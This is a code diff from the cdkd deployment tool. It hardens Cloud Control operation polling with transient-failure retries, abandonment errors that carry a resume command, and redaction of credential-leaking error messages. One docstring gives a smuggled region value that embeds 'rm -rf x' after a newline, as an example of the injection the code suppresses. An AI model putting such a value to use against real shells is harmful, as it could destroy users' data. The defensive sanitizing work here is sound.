+ * arm silently matched nothing for the case it was added for.
30560
+ */
30561
+ const POLL_TRANSPORT_CODE_IN_MESSAGE = new RegExp(`\\b(?:${[...POLL_TRANSPORT_ERROR_CODES].join("|")})\\b`);
30562
+ /**
30563
+ * The `.cause` walk depth. It is `retryable-errors.ts`'s `MAX_CAUSE_CHAIN_DEPTH`
30564
+ * VALUE, and equality is the requirement rather than a coincidence: a transport
30565
+ * code this predicate finds at a depth `isThrottlingError` /
30566
+ * `isMarkedNonRetryable` / `isRetryableTransientError` structurally cannot
30567
+ * reach means two classifiers answering differently about one chain, which is
30568
+ * the divergence this area keeps collapsing. A literal because that constant is
30569
+ * module-private there, and `tests/unit/provisioning/cloud-control-wait-abandoned.test.ts`
30570
+ * pins the pair by building a chain one hop deeper than the bound and asserting
30571
+ * BOTH refuse it -- a claim an earlier revision made with no such case behind
30572
+ * it, which is exactly the shape a fence audit greps for.
30573
+ *
30574
+ * cdkd wraps errors (`ProvisioningError` keeps the raw one as `cause`), so the
30575
+ * socket error is routinely one or two hops down; the bound also keeps a cyclic
30576
+ * chain from hanging the classifier.
30577
+ */
30578
+ const POLL_CAUSE_CHAIN_DEPTH = 5;
30579
+ /**
30580
+ * The ONE name whose message must be withheld from a non-`debug` line, and the
30581
+ * enumeration behind why it is exactly one.
30582
+ *
30583
+ * `@smithy/property-provider` exports a family of three -- `ProviderError`, and
30584
+ * its subclasses `CredentialsProviderError` and `TokenProviderError` -- plus
30585
+ * `@smithy/credential-provider-imds`'s `InstanceMetadataV1FallbackError`, the
30586
+ * only subclass OF `CredentialsProviderError` in the installed tree. (All four
30587
+ * set `name`; the qualifier is what makes the sentence true, and an earlier
30588
+ * revision read "the only subclass that overrides `name`", which is false of
30589
+ * the three siblings.) Each was read rather than reasoned about, because the
30590
+ * answers differ and go BOTH ways:
30591
+ *
30592
+ * - `CredentialsProviderError` is the one that leaks.
30593
+ * `@aws-sdk/credential-provider-process` wraps EVERY exec failure in it, so
30594
+ * its message interpolates the helper's ARGV and its stderr. Measured
30595
+ * through a real client: `Command failed: /bin/sh -c 'echo "vault: token
30596
+ * hvs.<...> rejected" >&2; exit 1'` followed by that stderr. An aws-vault /
30597
+ * saml2aws setup whose credentials expire mid-wait would persist a token.
30598
+ * - `TokenProviderError` must NOT be reduced. Its message IS the remedy --
30599
+ * `Token is expired. To refresh this SSO session run 'aws sso login' with
30600
+ * the corresponding profile.` -- so reducing it to a wire name would delete
30601
+ * the fix instruction. A round-9 revision of this predicate matched the
30602
+ * whole `*ProviderError` suffix and did exactly that.
30603
+ *
30604
+ * The benefit is NOT realized on THIS path today, and saying otherwise was
30605
+ * the claim review measured false: `@aws-sdk/credential-provider-sso`
30606
+ * catches every token failure and rethrows it as a
30607
+ * `CredentialsProviderError`, so the shape cannot escape a SigV4 client and
30608
+ * an SSO expiry reaches here already reduced. The carve-out is a rule about
30609
+ * the FAMILY, kept because the rewrap is upstream behaviour that can change
30610
+ * and because the reduction is wrong for this class on any path that does
30611
+ * surface it -- not a user-visible improvement this PR delivers.
30612
+ * - `ProviderError` (the base) and `InstanceMetadataV1FallbackError` carry
30613
+ * connectivity and CONFIG wording respectively -- the IMDS one interpolates
30614
+ * three fixed literals naming config keys, with no argv, stderr, profile
30615
+ * value or identity in it. Both are more useful raw.
30616
+ *
30617
+ * So string EQUALITY is right here, and it is right by enumeration rather than
30618
+ * by assumption. Re-check this list when the SDK major moves; do not widen it
30619
+ * to a suffix.
30620
+ *
30621
+ * The specific mechanism to re-check is `ProviderError.from()`, which does
30622
+ * `Object.assign(new this(...), error)` -- that copies a SOURCE error's own
30623
+ * `name` over the class field and would defeat string equality outright. It
30624
+ * has ZERO call sites anywhere in `node_modules` today, which is the only
30625
+ * reason equality is safe rather than merely correct-looking.
30626
+ */
30627
+ const CREDENTIAL_LEAK_ERROR_NAME = "CredentialsProviderError";
30628
+ /**
30629
+ * Decide what a `GetResourceRequestStatus` failure may say outside `--verbose`.
30630
+ *
30631
+ * ONE function because there are TWO readers and they must not disagree about
30632
+ * one error: `abandonWait`, whose message is persisted verbatim into
30633
+ * `deployments/{runId}.jsonl`, and the re-poll `logger.warn`, which runs at
30634
+ * DEFAULT verbosity. They were separate, and the gap was reachable rather than
30635
+ * theoretical -- `POLL_TRANSPORT_CODE_IN_MESSAGE` matches a socket code
30636
+ * ANYWHERE in the message, so a `credential_process` stderr that happens to
30637
+ * contain `ETIMEDOUT` classifies as transient, and the warn printed the helper
30638
+ * argv and stderr on every re-poll while the abandonment that eventually
30639
+ * followed reduced them.
30640
+ *
30641
+ * The authorship test is NOT `describeAwsFailure`'s. That one keys on the mere
30642
+ * PRESENCE of `$metadata`, and `@smithy/core`'s retry middleware stamps
30643
+ * `$metadata = {attempts, totalRetryDelay}` onto EVERY error it gives up on --
30644
+ * socket errors included. Measured against a real client pointed at a closed
30645
+ * port:
30646
+ *
30647
+ * name 'Error', code 'ECONNREFUSED', $fault undefined,
30648
+ * message 'connect ECONNREFUSED 127.0.0.1:1',
30649
+ * $metadata { attempts: 3, totalRetryDelay: 58 }
30650
+ *
30651
+ * so reducing on it DELETES `connect ECONNREFUSED ...` -- the exact wording
30652
+ * issue [#3236](https://github.com/go-to-k/cdkd/issues/3236) was reported with
30653
+ * -- and leaves the bare token `Error.`, a socket error's `name` being `Error`.
30654
+ * The discriminator here is a real SERVICE signal instead: `$fault`, or a
30655
+ * NUMERIC `$metadata.httpStatusCode`, which a transport failure never carries
30656
+ * and a service rejection always does.
30657
+ *
30658
+ * Credential resolution carries NEITHER signal, which is why
30659
+ * {@link CREDENTIAL_LEAK_ERROR_NAME} is a third arm. That is measured, not
30660
+ * read off the middleware table -- review round 8 argued from middleware
30661
+ * priorities that identity is resolved inside the retry middleware, and a real
30662
+ * `CloudControlClient` whose credential provider throws answers
30663
+ * `{name:'CredentialsProviderError', $fault: undefined, $metadata: undefined}`.
30664
+ * The mechanism, confirmed afterwards: identity is resolved by
30665
+ * `httpAuthSchemeMiddleware` at step `serialize`, which WRAPS retry's
30666
+ * `finalizeRequest`, and retry's own catch CREATES `$metadata` when it is
30667
+ * absent -- so an escaping error with none PROVES it never entered retry. Do
30668
+ * not "correct" this back.
30669
+ *
30670
+ * Retiring the divergence with the shared helper is
30671
+ * [#3297](https://github.com/go-to-k/cdkd/issues/3297).
30672
+ */
30673
+ function describePollFailure(error) {
30674
+ if (error === void 0) return {
30675
+ display: "",
30676
+ detail: "",
30677
+ marker: false
30678
+ };
30679
+ if (!(error instanceof Error)) {
30680
+ const other = describeAwsFailure(error);
30681
+ return {
30682
+ display: other.summary,
30683
+ detail: other.detail,
30684
+ marker: false
30685
+ };
30686
+ }
30687
+ if (!(error.$fault !== void 0 || typeof error.$metadata?.httpStatusCode === "number" || error.name === CREDENTIAL_LEAK_ERROR_NAME)) return {
30688
+ display: error.message,
30689
+ detail: "",
30690
+ marker: false
30691
+ };
30692
+ if (error.message === "") return {
30693
+ display: "",
30694
+ detail: "",
30695
+ marker: false
30696
+ };
30697
+ return {
30698
+ display: redactedAwsFailureSummary(error),
30699
+ detail: error.message,
30700
+ marker: true
30701
+ };
30702
+ }
30703
+ /**
30704
+ * True when a `GetResourceRequestStatus` call failed for a reason that says
30705
+ * nothing about the OPERATION — the poll could not be delivered or answered,
30706
+ * so re-polling the same token is the correct response.
30707
+ *
30708
+ * Fail-CLOSED: an unmodelled shape answers false, so the wait is not RETRIED.
30709
+ * It is still ABANDONED rather than aborted bare — the caller carries the
30710
+ * request token out on that arm too, since losing the handle is issue #3236's
30711
+ * defect whatever the trigger. The safe direction here is about retrying, not
30712
+ * about reporting: the errors this must NOT absorb are the ones a retry can
30713
+ * only re-derive —
30714
+ * `RequestTokenNotFoundException` (the token is genuinely gone),
30715
+ * `AccessDeniedException`, `ValidationException`.
30716
+ *
30717
+ * Throttles and transient 5xx are in scope alongside transport, and not as a
30718
+ * generalization for its own sake: they are the same defect with a different
30719
+ * trigger, and the throttle case is the WORSE of the two today. The abort
30720
+ * is retryable by BOTH routes the classifier offers — `isThrottlingError`'s
30721
+ * chain walk over the threaded cause, and (before the cause is reduced to its
30722
+ * wire code) AWS's own `Rate exceeded` wording against
30723
+ * `RETRYABLE_ERROR_MESSAGE_PATTERNS` — so the deploy engine's outer `withRetry`
30724
+ * re-invokes `create()` and duplicates a resource that is already being created
30725
+ * (go-to-k/cdkd#2039), where the transport case merely loses track of one.
30726
+ * Measured, not assumed: `isRetryableTransientError` answers true for a
30727
+ * throttle and false for `connect ECONNREFUSED ...`.
30728
+ *
30729
+ * The message arm exists for a wrapper that dropped `.code` while keeping the
30730
+ * text. It is scoped by its SOURCE — the only input is an error thrown by the
30731
+ * SDK out of `cloudControlClient.send`, never template- or user-authored text
30732
+ * — so an `E`-prefixed token there denotes a socket error rather than
30733
+ * something a user happened to type.
30734
+ */
30735
+ function isTransientPollFailure(error) {
30736
+ if (isThrottlingError(error) || isTransientServerError(error)) return true;
30737
+ let current = error;
30738
+ for (let depth = 0; depth < POLL_CAUSE_CHAIN_DEPTH && current != null; depth++) {
30739
+ const code = current.code;
30740
+ if (typeof code === "string" && POLL_TRANSPORT_ERROR_CODES.has(code)) return true;
30741
+ const name = current.name;
30742
+ if (typeof name === "string" && POLL_TRANSPORT_ERROR_NAMES.has(name)) return true;
30743
+ const message = current.message;
30744
+ if (typeof message === "string" && POLL_TRANSPORT_CODE_IN_MESSAGE.test(message)) return true;
30745
+ current = current.cause;
30746
+ }
30747
+ return false;
30748
+ }
30749
+ /**
29414
30750
  * Matches service-worded "the resource is gone" failure messages, including
29415
30751
  * shapes whose wording lacks the canonical `not found` substring (CodeDeploy:
29416
30752
  * "No Deployment Group found for name: ..."). Deliberately scoped to the
@@ -29614,6 +30950,34 @@ var CloudControlProvider = class {
29614
30950
  MAX_WAIT_TIME_MS = 9e5;
29615
30951
  INITIAL_POLL_INTERVAL_MS = 1e3;
29616
30952
  MAX_POLL_INTERVAL_MS = 1e4;
30953
+ /**
30954
+ * How long an UNBROKEN run of transient poll failures is tolerated before
30955
+ * `waitForOperation` gives up and throws {@link CloudControlWaitAbandonedError}
30956
+ * (issue #3236). Reset by any poll that gets an answer, so it measures one
30957
+ * outage rather than a session's total flakiness.
30958
+ *
30959
+ * It is a SECOND bound INSIDE the existing wall-clock budget, never an
30960
+ * extension of one: the `while` condition below still holds, so re-polling
30961
+ * can only consume time the wait already had. `slow-cc-operation-timeouts.ts`
30962
+ * couples that budget to the two outer per-resource deadlines deliberately,
30963
+ * and a separate attempt budget able to outlive it would break the coupling.
30964
+ *
30965
+ * Two minutes because the failures that reach this loop have already
30966
+ * outlasted the SDK's own three STANDARD-mode attempts, so the population is
30967
+ * outages of seconds to minutes — a VPN reconnect, a DHCP renew, a throttle
30968
+ * that needs more than the SDK's sub-second backoff. Waiting the FULL budget
30969
+ * instead (up to 60 min for a slow type) would buy nothing the resume hint
30970
+ * does not: past this point the operation is equally unreachable, and the
30971
+ * user gets the same request token thirteen to fifty-eight minutes sooner.
30972
+ */
30973
+ POLL_TRANSIENT_GRACE_MS = 12e4;
30974
+ /**
30975
+ * The grace `disableCcProtection`'s wait takes instead (issue
30976
+ * go-to-k/cdkd#3253 item 1). Its call site carries the reasoning; the short
30977
+ * version is that the flip is best-effort and swallowed, so a long wait there
30978
+ * is dead wall clock on a destroy that is failing anyway.
30979
+ */
30980
+ PROTECTION_FLIP_TRANSIENT_GRACE_MS = 1e4;
29617
30981
  constructor() {
29618
30982
  const awsClients = getAwsClients();
29619
30983
  this.cloudControlClient = awsClients.cloudControl;
@@ -29689,17 +31053,21 @@ var CloudControlProvider = class {
29689
31053
  try {
29690
31054
  const cleanupResult = await this.delete(logicalId, error.physicalId, resourceType);
29691
31055
  if (cleanupResult?.outcome === "skipped") {
29692
- this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}: ${cleanupResult.reason} — a retry may fail with AlreadyExists until it is removed manually`);
31056
+ this.logger.warn(`Skipped deleting the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(cleanupResult.reason)}`);
29693
31057
  return;
29694
31058
  }
29695
31059
  this.logger.debug(`Removed failed-create remnant ${error.physicalId} for ${logicalId}`);
29696
31060
  } catch (cleanupError) {
29697
31061
  const message = cleanupError instanceof Error ? cleanupError.message : String(cleanupError);
31062
+ if (isWaitAbandonedError(cleanupError)) {
31063
+ this.logger.warn(`Could not confirm whether the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was removed (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
31064
+ return;
31065
+ }
29698
31066
  if (isNotFoundMessage(message)) {
29699
31067
  this.logger.info(`The remnant ${error.physicalId} left by the failed CREATE of ${logicalId} was already gone (not found); nothing to clean up`);
29700
31068
  return;
29701
31069
  }
29702
- this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId}: ${message} — a retry may fail with AlreadyExists until it is removed manually`);
31070
+ this.logger.warn(`Failed to delete the remnant ${error.physicalId} left by the failed CREATE of ${logicalId} (a retry may fail with AlreadyExists until it is removed manually): ${displaySafe(message)}`);
29703
31071
  }
29704
31072
  }
29705
31073
  /**
@@ -29770,7 +31138,7 @@ var CloudControlProvider = class {
29770
31138
  const indeterminateGuard = await this.confirmDeleteTargetIdentity(logicalId, resourceType, physicalId, context);
29771
31139
  if (context?.removeProtection === true && resourceType === "AWS::AutoScaling::AutoScalingGroup") {
29772
31140
  this.logger.debug(`Delegating protected AutoScalingGroup ${logicalId} delete to the SDK ASGProvider (Cloud Control cannot force-delete a protected ASG)`);
29773
- const { ASGProvider } = await import("./asg-provider-BPBdAAGQ.js").then((n) => n.n);
31141
+ const { ASGProvider } = await import("./asg-provider-Di5-tD3l.js").then((n) => n.n);
29774
31142
  const asgProvider = new ASGProvider();
29775
31143
  return withIndeterminateGuard(await asgProvider.delete(logicalId, physicalId, resourceType, _properties, context), indeterminateGuard);
29776
31144
  }
@@ -29793,7 +31161,8 @@ var CloudControlProvider = class {
29793
31161
  return withIndeterminateGuard(void 0, indeterminateGuard);
29794
31162
  } catch (error) {
29795
31163
  const err = error;
29796
- if (error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound" || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound")) {
31164
+ const notFoundErrorCode = error instanceof CloudControlOperationFailedError && error.ccOperation === "DELETE" && error.ccErrorCode === "NotFound";
31165
+ if (!isWaitAbandonedError(error) && (notFoundErrorCode || err.name === "ResourceNotFoundException" || err.message?.includes("does not exist") || err.message?.includes("not found") || err.message?.includes("NotFound"))) {
29797
31166
  await this.assertRecordedRegionAgainstClient("not-found", context?.expectedRegion, resourceType, logicalId, physicalId);
29798
31167
  this.logger.debug(`Resource ${logicalId} already deleted (not found), treating as success`);
29799
31168
  return withIndeterminateGuard(void 0, indeterminateGuard);
@@ -29858,7 +31227,7 @@ var CloudControlProvider = class {
29858
31227
  try {
29859
31228
  clientRegion = canonicalizeRegion((await this.cloudControlClient.config.region())?.trim());
29860
31229
  } catch (error) {
29861
- this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${error instanceof Error ? error.message : String(error)}`);
31230
+ this.logger.debug(`Could not resolve the Cloud Control client region before the ${phase} region check for ${logicalId} (${resourceType}): ${displaySafe(describeAwsFailure(error).detail)}`);
29862
31231
  clientRegion = void 0;
29863
31232
  }
29864
31233
  try {
@@ -30021,11 +31390,14 @@ var CloudControlProvider = class {
30021
31390
  this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId}: no request token received; proceeding with delete`);
30022
31391
  return;
30023
31392
  }
30024
- await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType);
31393
+ await this.waitForOperation(response.ProgressEvent.RequestToken, logicalId, "UPDATE", resourceType, this.PROTECTION_FLIP_TRANSIENT_GRACE_MS);
30025
31394
  this.logger.debug(`Disabled ${protectionProperty} on ${logicalId}`);
30026
31395
  } catch (error) {
30027
- const message = error instanceof Error ? error.message : String(error);
30028
- this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}): ${message}; proceeding with delete`);
31396
+ const described = describePollFailure(error);
31397
+ const safeMessage = displaySafe(described.display);
31398
+ this.logger.warn(`Could not disable ${protectionProperty} on ${logicalId} (${resourceType}), proceeding with delete${safeMessage === "" ? "" : `: ${safeMessage}`}`);
31399
+ const detail = described.detail;
31400
+ if (detail !== "") this.logger.debug(`Could not disable ${protectionProperty} on ${logicalId}, underlying failure: ${displaySafe(detail)}`);
30029
31401
  }
30030
31402
  }
30031
31403
  /**
@@ -30045,17 +31417,61 @@ var CloudControlProvider = class {
30045
31417
  }
30046
31418
  }
30047
31419
  /**
30048
- * Wait for an asynchronous operation to complete
31420
+ * Wait for an asynchronous operation to complete.
31421
+ *
31422
+ * Reached from FOUR call sites — `create()`, `update()`, `delete()` and
31423
+ * `disableCcProtection()` — so everything here is CREATE / UPDATE / DELETE
31424
+ * behavior at once.
31425
+ *
31426
+ * The poll is fenced against its own transport (issue #3236). Before that,
31427
+ * a `GetResourceRequestStatus` that failed for ANY reason propagated out of
31428
+ * this loop, out of `create()`, and took the `RequestToken` — which lives
31429
+ * only in this parameter list — with it. The Cloud Control operation keeps
31430
+ * running server-side regardless, so a CREATE that AWS went on to complete
31431
+ * left a live resource with no state record: invisible to rollback, to
31432
+ * `cdkd destroy`, and to `cleanupFailedCreateRemnant` (whose first guard
31433
+ * admits only a `CloudControlOperationFailedError`, which a transport
31434
+ * failure never is). Reported against a `AWS::RDS::DBInstance` whose CREATE
31435
+ * outlived a dropped VPN; the untracked instance then blocked the deletion
31436
+ * of five tracked resources that depended on it.
31437
+ *
31438
+ * Re-polling is IDEMPOTENT in a way replaying the create is not, which is
31439
+ * what makes this the right layer for the fix: `GetResourceRequestStatus`
31440
+ * invokes no resource handler and the token is unchanged across attempts, so
31441
+ * the duplicate-create hazard of go-to-k/cdkd#2039 is structurally absent.
31442
+ * The complementary half is {@link CloudControlWaitAbandonedError}, for the
31443
+ * outage that outlives the grace or the budget.
30049
31444
  */
30050
- async waitForOperation(requestToken, logicalId, operation, resourceType) {
31445
+ async waitForOperation(requestToken, logicalId, operation, resourceType, transientGraceMs = this.POLL_TRANSIENT_GRACE_MS) {
30051
31446
  const startTime = Date.now();
30052
31447
  let attempts = 0;
30053
31448
  let pollInterval = this.INITIAL_POLL_INTERVAL_MS;
31449
+ let lastSeenIdentifier;
31450
+ let transientOutageStartedAt;
31451
+ let lastTransientError;
30054
31452
  const maxWaitMs = Math.max(this.MAX_WAIT_TIME_MS, slowCcOperationTimeoutMs(resourceType, operation));
30055
31453
  while (Date.now() - startTime < maxWaitMs) {
30056
31454
  attempts++;
30057
- const progressEvent = (await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }))).ProgressEvent;
31455
+ let statusResponse;
31456
+ try {
31457
+ statusResponse = await this.cloudControlClient.send(new GetResourceRequestStatusCommand({ RequestToken: requestToken }));
31458
+ } catch (error) {
31459
+ if (!isTransientPollFailure(error)) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, "cdkd could not read the operation status and the failure is not retryable", error);
31460
+ transientOutageStartedAt ??= Date.now();
31461
+ lastTransientError = error;
31462
+ const outageMs = Date.now() - transientOutageStartedAt;
31463
+ if (outageMs >= transientGraceMs) throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `cdkd could not reach Cloud Control API for ${Math.round(outageMs / 1e3)}s`, error);
31464
+ const safePollText = displaySafe(describePollFailure(error).display);
31465
+ this.logger.warn(`${operation} ${logicalId}: could not read the Cloud Control operation status (attempt ${attempts})${safePollText === "" ? "" : `: ${safePollText}`} — the operation may still be running in AWS; re-polling the same request token in ${pollInterval}ms`);
31466
+ await this.sleep(pollInterval);
31467
+ pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
31468
+ continue;
31469
+ }
31470
+ transientOutageStartedAt = void 0;
31471
+ lastTransientError = void 0;
31472
+ const progressEvent = statusResponse.ProgressEvent;
30058
31473
  if (!progressEvent) throw new ProvisioningError(`Failed to get status for ${logicalId}: No progress event`, "Unknown", logicalId);
31474
+ if (progressEvent.Identifier) lastSeenIdentifier = progressEvent.Identifier;
30059
31475
  this.logger.debug(`${operation} ${logicalId}: ${progressEvent.OperationStatus} (attempt ${attempts}, next poll ${pollInterval}ms)`);
30060
31476
  switch (progressEvent.OperationStatus) {
30061
31477
  case "SUCCESS": return progressEvent;
@@ -30075,12 +31491,93 @@ var CloudControlProvider = class {
30075
31491
  pollInterval = Math.min(Math.ceil(pollInterval * 1.5), this.MAX_POLL_INTERVAL_MS);
30076
31492
  }
30077
31493
  }
30078
- throw new ProvisioningError(`${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, "Unknown", logicalId);
31494
+ throw await this.abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, `${operation} timeout for ${logicalId} after ${maxWaitMs / 1e3}s`, lastTransientError);
31495
+ }
31496
+ /**
31497
+ * Build the {@link CloudControlWaitAbandonedError} for a wait cdkd is giving
31498
+ * up on while the operation is, as far as cdkd knows, still running (issue
31499
+ * [#3236](https://github.com/go-to-k/cdkd/issues/3236)).
31500
+ *
31501
+ * Returns rather than throws so every call site reads `throw await
31502
+ * this.abandonWait(...)` — the `throw` stays visible at the site, which is
31503
+ * what keeps the control flow legible to the compiler and to a reader.
31504
+ *
31505
+ * CREATE is marked non-retryable and the other two are not, and the
31506
+ * asymmetry is the whole point rather than an oversight:
31507
+ *
31508
+ * - **CREATE** — a replay issues a SECOND `CreateResource` for a resource
31509
+ * the first call is already creating, which is go-to-k/cdkd#2039's
31510
+ * duplicate-create. It must be refused, and the marker is what refuses
31511
+ * it — but by a different mechanism than an earlier revision of this
31512
+ * comment claimed. That one said the message interpolates AWS's own
31513
+ * `Rate exceeded`, which `RETRYABLE_ERROR_MESSAGE_PATTERNS` matches; a
31514
+ * real `ThrottlingException` carries `$fault`, so its cause is REDUCED to
31515
+ * the wire code and the message no longer contains that wording.
31516
+ * Re-measured at this head: without the marker `isRetryableTransientError`
31517
+ * still answers TRUE, via `isThrottlingError`'s CHAIN walk over the
31518
+ * threaded cause rather than via the message. The marker stays
31519
+ * load-bearing; only the route changed.
31520
+ * - **DELETE** — a replay issues a second `DeleteResource`, which is
31521
+ * idempotent: if the first delete landed, the retry meets the
31522
+ * already-gone signal `delete()` absorbs. Retrying is strictly better
31523
+ * than surfacing a failure over a resource that may be gone.
31524
+ * - **UPDATE** — a replay re-derives and re-sends the same patch, the
31525
+ * behavior every other UPDATE failure already gets.
31526
+ */
31527
+ async abandonWait(requestToken, logicalId, operation, resourceType, lastSeenIdentifier, reason, cause) {
31528
+ const described = describePollFailure(cause);
31529
+ const safeDisplay = displaySafe(described.display);
31530
+ const causeText = safeDisplay === "" ? "" : `: ${safeDisplay}`;
31531
+ if (described.detail !== "") this.logger.debug(`${operation} ${logicalId}: the abandoned operation's underlying failure was: ${displaySafe(described.detail)}`);
31532
+ const identifierClause = lastSeenIdentifier === void 0 ? "" : ` The last status cdkd read named the resource ${displaySafe(lastSeenIdentifier, { asciiOnly: true })}.`;
31533
+ const error = new CloudControlWaitAbandonedError(`${operation} of ${logicalId} was accepted by Cloud Control API, but cdkd stopped waiting for it (${reason}${causeText}). The operation may still be running in AWS, and ${operation === "CREATE" ? "cdkd has NO state record for it, so any resource it creates is untracked by rollback and by cdkd destroy" : operation === "DELETE" ? "the resource may or may not have been removed; its state record is kept so a re-run can finish the delete" : "its state record still holds the PREVIOUS properties, so the record may no longer describe the live resource"}.${identifierClause} Check what it did with:\n ${await this.buildResumeCommand(requestToken)}`, resourceType, logicalId, requestToken, operation, lastSeenIdentifier, cause instanceof Error ? cause : void 0);
31534
+ if (described.marker) markRedactedCause(error);
31535
+ return operation === "CREATE" ? markNonRetryable(error) : error;
31536
+ }
31537
+ /**
31538
+ * The `aws cloudcontrol get-resource-request-status` line an abandoned wait
31539
+ * hands the user — the only way back to an operation cdkd has no record of.
31540
+ *
31541
+ * SANITIZE-then-QUOTE-then-SUPPRESS, the full convention
31542
+ * `replacement-protection-advice.ts` applies (issue
31543
+ * [#2669](https://github.com/go-to-k/cdkd/issues/2669)) — quoting ALONE is
31544
+ * not it, and the gap is not theoretical here. The region comes from
31545
+ * `config.region()`, i.e. `--region` / `AWS_REGION` / a profile's `region =`
31546
+ * line, so it is USER text: `AWS_REGION=$'us-east-1\nrm -rf x'` is inert once
31547
+ * `shellQuote` wraps it, and still renders a two-line "recovery command" on
31548
+ * the terminal and into `deployments/{runId}.jsonl` — the forgery
31549
+ * `lock-contention-message.ts` says quoting does not cover. So each part is
31550
+ * `displaySafe`d first and DROPPED when sanitizing changed it: the region
31551
+ * flag is simply omitted (absent is already legal — the user supplies their
31552
+ * own), and a changed TOKEN suppresses the whole command, since a command
31553
+ * naming the wrong operation is worse than none.
31554
+ *
31555
+ * The region is best-effort in a second sense: `config.region` is a resolver
31556
+ * that can throw (no credentials, no configured region), and a wait that
31557
+ * already failed must not fail a second time inside its own error message.
31558
+ */
31559
+ async buildResumeCommand(requestToken) {
31560
+ const safeToken = displaySafe(requestToken, { asciiOnly: true });
31561
+ if (!safeToken || safeToken !== requestToken) return "(cdkd cannot render a safe resume command for this request token — see the Cloud Control console)";
31562
+ let region;
31563
+ try {
31564
+ region = (await this.cloudControlClient.config.region())?.trim();
31565
+ } catch {
31566
+ region = void 0;
31567
+ }
31568
+ const safeRegion = region === void 0 || region === "" || displaySafe(region, { asciiOnly: true }) !== region ? void 0 : region;
31569
+ const regionFlag = safeRegion === void 0 ? "" : ` --region ${shellQuote(safeRegion)}`;
31570
+ return `aws cloudcontrol get-resource-request-status --request-token ${shellQuote(safeToken)}${regionFlag}`;
30079
31571
  }
30080
31572
  /**
30081
31573
  * Parse resource model JSON string.
30082
31574
  *
30083
- * On a parse failure this logs the error plus the model's SHAPE — never its
31575
+ * On a parse failure the WARN line logs the error's CLASS plus the model's
31576
+ * SHAPE. The `debug` line beside it DOES carry the raw parser message, echo
31577
+ * included, and naming that carve-out is the point (issue
31578
+ * [#3290](https://github.com/go-to-k/cdkd/issues/3290)): an unqualified
31579
+ * promise that a sibling line falsifies is exactly what that issue was filed
31580
+ * for. What follows is about the WARN line — never its
30084
31581
  * body (issue #1908, a GHSA-p5qg-v9gv-hc7w residual). The model is an AWS
30085
31582
  * readback, and a read handler cannot return write-only properties (the #809
30086
31583
  * premise), so the common secret shapes are absent — but a `{{resolve:...}}`
@@ -30098,8 +31595,9 @@ var CloudControlProvider = class {
30098
31595
  try {
30099
31596
  return JSON.parse(resourceModel);
30100
31597
  } catch (error) {
30101
- const errorMessage = error instanceof Error ? error.message : String(error);
30102
- this.logger.warn(`Failed to parse resource model: ${errorMessage}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
31598
+ const described = describeAwsFailure(error);
31599
+ this.logger.warn(`Failed to parse resource model: ${described.redacted ? described.summary : error instanceof Error ? error.name : "Error"}\nModel shape: ${resourceModel.length} chars, ${describeJsonKeys(resourceModel)}`);
31600
+ this.logger.debug(`Resource model parse failure detail: ${displaySafe(described.detail)}`);
30103
31601
  return {};
30104
31602
  }
30105
31603
  }
@@ -40527,6 +42025,7 @@ var DeployEngine = class DeployEngine {
40527
42025
  lastModified: Date.now()
40528
42026
  };
40529
42027
  const currentEtag = currentStateData?.etag;
42028
+ refuseMalformedOutputs(currentState, stackName, this.stackRegion);
40530
42029
  const migrationPending = currentStateData?.migrationPending ?? false;
40531
42030
  this.logger.debug(`Loaded current state: ${Object.keys(currentState.resources).length} resources`);
40532
42031
  if (this.options.onCurrentStateLoaded) await this.options.onCurrentStateLoaded(stackName, currentStateData?.state);
@@ -41758,7 +43257,7 @@ var DeployEngine = class DeployEngine {
41758
43257
  });
41759
43258
  } catch (deleteError) {
41760
43259
  const deleteMsg = deleteError instanceof Error ? deleteError.message : String(deleteError);
41761
- if (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound")) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
43260
+ if (!isWaitAbandonedError(deleteError) && !isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (deleteMsg.includes("does not exist") || deleteMsg.includes("not found") || deleteMsg.includes("NotFound"))) this.logger.debug(`Old resource ${logicalId} already gone, proceeding with CREATE`);
41762
43261
  else throw deleteError;
41763
43262
  }
41764
43263
  const fallbackSkipReason = deleteSkipReason(fallbackDeleteResult);
@@ -41863,7 +43362,7 @@ var DeployEngine = class DeployEngine {
41863
43362
  }), logicalId, 3, 5e3, deleteProvider);
41864
43363
  } catch (deleteError) {
41865
43364
  const msg = deleteError instanceof Error ? deleteError.message : String(deleteError);
41866
- if (!isInterruptedWaitError(deleteError) && !isMarkedNonRetryable(deleteError) && (msg.includes("does not exist") || msg.includes("was not found") || msg.includes("not found") || msg.includes("No policy found") || msg.includes("NoSuchEntity") || msg.includes("NotFoundException") || msg.includes("ResourceNotFoundException"))) this.logger.debug(`Resource ${logicalId} already deleted (${msg}), removing from state`);
43365
